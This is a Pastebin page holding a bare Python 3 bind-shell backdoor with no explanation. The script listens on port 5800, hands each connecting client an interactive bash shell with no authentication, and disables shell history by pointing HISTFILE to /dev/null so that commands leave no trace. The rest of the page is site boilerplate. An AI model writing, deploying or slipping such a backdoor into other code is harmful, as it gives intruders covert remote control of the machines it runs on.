daily pastebin goal
54%
SHARE
TWEET

#!/usr/bin/python3

a guest Jan 11th, 2019 70 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python3
  2.  
  3. import os
  4. import pty
  5. import socket
  6. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7. s.bind(('', 5800))
  8. s.listen(1)
  9. while True:
  10.   (rem, addr) = s.accept()
  11.   os.dup2(rem.fileno(),0)
  12.   os.dup2(rem.fileno(),1)
  13.   os.dup2(rem.fileno(),2)
  14.   os.putenv("HISTFILE",'/dev/null')
  15.   pty.spawn("/bin/bash")
  16.   rem.shutdown(socket.SHUT_RDWR)
  17.   rem.close()
  18. s.shutdown(socket.SHUT_RDWR)
  19. s.close()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top